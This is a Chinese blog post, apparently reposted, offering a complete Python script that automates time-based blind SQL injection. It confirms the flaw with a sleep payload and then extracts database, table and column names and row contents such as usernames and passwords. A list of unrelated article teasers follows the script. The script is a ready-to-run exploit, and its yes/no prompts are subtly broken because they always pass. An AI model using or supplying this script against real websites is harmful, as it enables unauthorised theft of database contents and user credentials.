sql注入:延时注入python万能脚本

news2025/1/11 20:55:30

sql注入:延时注入python脚本

import requests
import binascii
def judgment_delay(complete_url):
    headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
    }
    try:
        requests.get(url=complete_url,headers=headers,timeout=3)
    except requests.exceptions.ReadTimeout:
        return "time out"
    else:
        return "normal"
def judgment_exploit(url):
    payload=" and sleep(6) #"
    complete_url=url+payload
    num=judgment_delay(complete_url)
    if "time out" in num:
        print("[+] 存在延迟漏洞")
    else:
        exit("[-] 不存在延迟漏洞")

def content(url,need_boom,table_name):
    num=len(need_boom)
    for j in range(0,100):
        if j==0:
            print("[+] 爆破字段内容模块启动成功")
            print("[+] 小脑瓜在飞速运作中请稍等.....")
        flag=0
        mh=0
        for k in need_boom:
            print("-------------------------------------------------------------------------------------------------------------------------------------")
            mh+=1
            for l in range(1,100):
                flag1=0
                for m in range(20,127):
                    payload=f" and if(ascii(substr((select {k} from {table_name} limit {j},1),{l},1))={m},sleep(5),1)"
                    complete_url = url + payload
                    if judgment_delay(complete_url) == "time out":
                        print(chr(m), end="")
                        flag=1
                        flag1=1
                        break
                if flag1==0 and l>100:
                    exit("[+] 爆破结束结束感谢使用")
                elif flag1==0:
                    break
            if mh<num and flag==1 :
                print(':',end="")
            print("--------------------------------------------------------------------------------------------------------------------------------------")
        if flag == 0:
            break


def column_name(url,table_name,table):
    print("[+] 爆破字段名模块启动成功")
    print("[+] 一拳超人正在蓄力中....")
    column_name_list=[]
    for i in range(0, 100):
        column_name = ""
        print(f"[{i + 1}]:", end="")
        flag = 0
        for j in range(1, 100):
            flag1 = 0
            for k in range(20, 127):
                payload = f" and if(ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name={table_name} limit {i},1),{j},1))={k},sleep(5),1) "
                complete_url = url + payload
                if judgment_delay(complete_url) == "time out":
                    print(chr(k), end="")
                    column_name += chr(k)
                    flag1 = 1
                    flag = 1
                    break
            if flag1 == 0:
                break
        if flag == 0:
            break
        column_name_list.append(column_name)
        print('\r')
    print("\r")
    if input("是否要爆破字段里的内容(y/n):")=="y" or "Y" :
        num=int(input("请输入要爆破的字段个数:"))
        need_boom=[]
        for i in range(0,num):
            need_boom.append(column_name_list[int(input("请输入要爆破的字段序号:"))-1])
        table_name=table
        content(url,need_boom,table_name)

def table_name(url):
    table_name_list=[]
    for i in range(0,100):
        table_name=""
        print(f"[{i+1}]:",end="")
        flag=0
        for j in range(1,100):
            flag1=0
            for k in range(20,127):
                payload=f" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k},sleep(5),1)"
                complete_url=url+payload
                if  judgment_delay(complete_url) == "time out":
                    print(chr(k),end="")
                    table_name+=chr(k)
                    flag1=1
                    flag=1
                    break
            if flag1==0:
                break
        print('\r')
        if flag ==0:
            break
        table_name_list.append(table_name)
    if input("是否爆破字段?(y/n):") == "y" or "Y":
        table=table_name_list[int(input("请输入要爆破哪张表里的字段的序号:"))-1]
        table_name = "0x" + binascii.hexlify(table.encode()).decode()
        column_name(url,table_name,table)
    else:
        exit("good bey")


def database_name(url,length):
    print("[+] 鸽鸽正在下蛋中......")
    database_name=""
    print("[+] 数据库名",end=":")
    for  i in range(1,length+1):
        for j in range(20,127):
            payload= f" and if(ascii(substr(database(),{i},1))={j},sleep(5),1) --+"
            conplete_url=url+payload
            if "time out" in judgment_delay(conplete_url):
                database_name+=chr(j)
                print(chr(j),end="")
                break
    print('\n')
    if input("是否爆破表名?(y/n):") == "y" or "Y" :
        print("[+] 小脑瓜正在飞速运转中...")
        table_name(url)
    else:
        exit("感谢使用!")

def database_length ():
    length=0
    url=input("请输入url:")
    judgment_exploit(url)
    print("正在计算长度...")
    for i in range(1,1000):
        payload=f" and if (length(database())={i},sleep(5),1)"
        conplete_url=url+payload
        if  "time out" in judgment_delay(conplete_url):
            length=i
            break
    print("[+] 数据库名的长度为:",length)
    if input("是否爆破库名? (Y/N):") == 'y' or  'Y':
        database_name(url,length)
    else:
        exit()
print("""
            _   _____       _                      _   _       _           _   _             
           | | |  __ \     | |                    | | (_)     (_)         | | (_)            
  ___  __ _| | | |  | | ___| | __ _ _   _  ___  __| |  _ _ __  _  ___  ___| |_ _  ___  _ __  
 / __|/ _` | | | |  | |/ _ \ |/ _` | | | |/ _ \/ _` | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \ 
 \__ \ (_| | | | |__| |  __/ | (_| | |_| |  __/ (_| | | | | | | |  __/ (__| |_| | (_) | | | |
 |___/\__, |_| |_____/ \___|_|\__,_|\__, |\___|\__,_| |_|_| |_| |\___|\___|\__|_|\___/|_| |_|
         | |                         __/ |                   _/ |                            
         |_|                        |___/                   |__/                             
                                                                                                                --- xl
        延时注入脚本
        使用方法 
        python3 delay_injection.py http://127.0.0.1:8080/Less-1/?id
        help:
            url=http://ip/cms/show.php?id=33        
""")
# l=["username","password"]
# content(url="http://10.9.47.77/cms/show.php?id=33",need_boom=l,table_name='cms_users')

try:
    database_length()
except requests.exceptions.MissingSchema:
    exit("[-] 启动失败请检测url是否正确")
except NameError:
    exit("[-] 启动失败请检测环境是否正确")
except KeyboardInterrupt:
    exit("[-] 用户结束脚本")
except Exception:
    exit("[-] 用户操作错误")

效果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1195305.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Zynq-Linux移植学习笔记之65- 国产ZYNQ在linux下usleep时间精度不准问题解决

1、背景介绍 采用复旦微的ZYNQ&#xff0c;跑linux操作系统&#xff0c;在应用程序中使用usleep进行延时时&#xff0c;发现存在10ms以下采用usleep试验都为10ms的情况 2、解决办法 使能设备树中的PS TTC设备&#xff0c;默认不是打开的 timere0024000 {compatible "s…

rangenet++运行 bonnetal训练 点云标签 记录

准备原始点云数据&#xff0c;为bin格式 安装point_labeler工具&#xff0c;根据readme步骤安装&#xff0c;并设定好格式进行标签 修改bonnetal的配准 安装semantic-kitti&#xff0c;查看点云标签content&#xff0c;并修改bonnetal上的设置 ./content.py --dataset ~/da…

AI 编程工具带来了什么

注册 地址为 https://web.devchat.ai/signup/ AI 编程工具带来了什么 深度学习框架&#xff1a; 用于实现神经网络和深度学习模型的框架&#xff0c;如TensorFlow、PyTorch、Keras等。这些工具提供了高级的API和工具&#xff0c;使得实现和训练神经网络变得相对容易。 自然语…

基础代码介绍

#include<pic.h> //包含单片机内部资源字义 __CONFIG(0xFF32); //4M __CONFIG(0XFF32)void main() {TRISD0;//D口输出PORTD0b00000001;//第一个LED灯点亮&#xff0c;高电平1while(1);// } /* void main() { TRISD0; PORTD0x01 while(1); }*/ 点亮一颗LEDD灯&#xff1a…

OpenText Exceed TurboX (ETX) —— 对图形密集型应用程序进行高性能远程访问

OpenText Exceed TurboX (ETX) —— 对图形密集型应用程序进行高性能远程访问 OpenText Exceed TurboX使团队(无论位于何处)能够对图形密集型应用程序进行高性能远程访问&#xff0c;提高生产力并减少 IT 支出&#xff0c;以确保快速投资回报。 亮点&#xff1a; 降低IT支出…

【python高级】asyncio 并发编程

【大家好&#xff0c;我是爱干饭的猿&#xff0c;本文重点介绍python高级篇的事件循环&#xff0c;task取消和协程嵌套、call_soon、call_later、call_at、 call_soon_threadsafe、asyncio模拟http请求、asyncio同步和通信、aiohttp实现高并发实践。 后续会继续分享其他重要知…

完整版付费进群带定位源码

看到别人发那些不是挂羊头卖狗肉&#xff0c;要么就是发的缺少文件引流的。恶心的一P 这源码是我付费花钱买的分享给大家&#xff0c;功能完整。 搭建教程 nginx1.2 php5.6--7.2均可 最好是7.2 第一步上传文件程序到网站根目录解压 第二步导入数据库&#xff08;shujuk…

滤波器实现

滤波器实现 卷积和滤波 滤波的数学基础是卷积。对于有限冲激响应 (FIR) 滤波器&#xff0c;滤波运算的输出 y(k) 是输入信号 x(k) 与冲激响应 h(k) 的卷积&#xff1a; y(k)∞∑l−∞h(l) x(k−l). 如果输入信号也是有限长度的&#xff0c;您可以使用 MATLAB conv 函数来执行…

java项目之高校奖学金管理系统(ssm框架+源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的高校奖学金管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 管理员&#xff1a;首…

es6过滤对象里面指定的不要的值filter过滤

//过滤出需要的值this.dataItemTypeSelectOption response.data.filter(ele > ele.dictValue tree||ele.dictValue float4);//过滤不需要的值this.dataItemTypeSelectOption response.data.filter((item) > {return item.dictValue ! "float4"&&it…

Hbase 迁移小结:从实践中总结出的最佳迁移策略

在数据存储和处理领域&#xff0c;HBase作为一种分布式、可扩展的NoSQL数据库&#xff0c;被广泛应用于大规模数据的存储和分析。然而&#xff0c;随着业务需求的变化和技术发展的进步&#xff0c;有时候我们需要将现有的HBase数据迁移到其他环境或存储系统。HBase数据迁移是一…

观点|周鸿祎:大模型真正的竞争在于使其与用户场景相结合

【网易科技11月9日报道】目前&#xff0c;人工智能技术尚未达到向手机一样的刚性、高频需求&#xff0c;各国和企业都在加大研发和应用力度&#xff0c;探索不同的技术路线和商业模式。 360集团创始人、董事长周鸿祎在2023世界互联网大会乌镇峰会上表示&#xff0c;目前人工智能…

文件扩展名批量修改:txt文件扩展名批量修改为doc文档,高效办公的方法

在我们的日常工作中&#xff0c;经常需要处理大量的文本文件&#xff0c;这些文件可能以.txt为扩展名&#xff0c;而我们需要将其修改为.doc扩展名以方便进一步的操作。这种情况下&#xff0c;我们引用云炫文件管理器来将扩展名批量修改&#xff0c;提升办公的效率。在进行文件…

【数据结构】堆详解!(图解+源码)

&#x1f3a5; 屿小夏 &#xff1a; 个人主页 &#x1f525;个人专栏 &#xff1a; 数据结构解析 &#x1f304; 莫道桑榆晚&#xff0c;为霞尚满天&#xff01; 文章目录 &#x1f324;️前言&#x1f324;️堆的理论☁️二叉树的顺序存储☁️堆的概念 &#x1f324;️堆的实现…

Android 进阶——Binder IPC之学习Binder IPC架构及原理概述(十二)

文章大纲 引言一、Binder IPC 基础架构1、Binder IPC核心角色2、Binder IPC的数据流 二、Binder IPC 协议通信流程三、Binder IPC 核心角色详解1、Server 进程及Server 组件2、Client进程及Client组件3、Service Manager 与实名 Binder4、Binder 驱动 四、Binder 通信过程五、开…

解锁潜在商机的钥匙——客户管理系统公海池

在竞争激烈的市场环境下&#xff0c;企业需要更智能、高效的方式管理客户&#xff0c;从而挖掘潜在商机。客户管理系统的公海池&#xff0c;就是为此而生的利器&#xff0c;让你轻松解锁商机&#xff0c;提升客户管理效能。 公海池&#xff0c;打破信息孤岛&#xff0c;释放潜在…

树之二叉排序树(二叉搜索树)

什么是排序树 说一下普通二叉树可不是左小右大的 插入的新节点是以叶子形式进行插入的 二叉排序树的中序遍历结果是一个升序的序列 下面是两个典型的二叉排序树 二叉排序树的操作 构造树的过程即是对无序序列进行排序的过程。 存储结构 通常采用二叉链表作为存储结构 不能 …

一致性算法介绍(二)

1.4. NWR N &#xff1a;在分布式存储系统中&#xff0c;有 多少份备份数据 W &#xff1a;代表一次成功的更新操作要求至少有 w 份数据写入成功 R &#xff1a; 代表一次成功的读数据操作要求至少有 R 份数据成功读取 NWR值的不同组合会产生不同的一致性效果&#xff0c;当WR…

【LeetCode刷题笔记】堆和优先级队列

358. K 距离间隔重排字符串 解题思路: 大根堆 + 队列 , 1)首先 计数数组 统计 每个字符出现的次数 ,然后将 计数 > 0 的 字符 和 次数 一起放入 大根堆 ,大根堆中

docker创建并访问本地前端

docker创建并访问本地前端&#xff0c;直接上命令&#xff1a; 安装nginx镜像&#xff1a; docker pull nginx 查看已安装的nginx&#xff1a; docker images 创建DockerFile文件&#xff0c;直接在当前文件夹种创建 touch Dockerfile 在Dockerfile写入内容&#xff1a; F…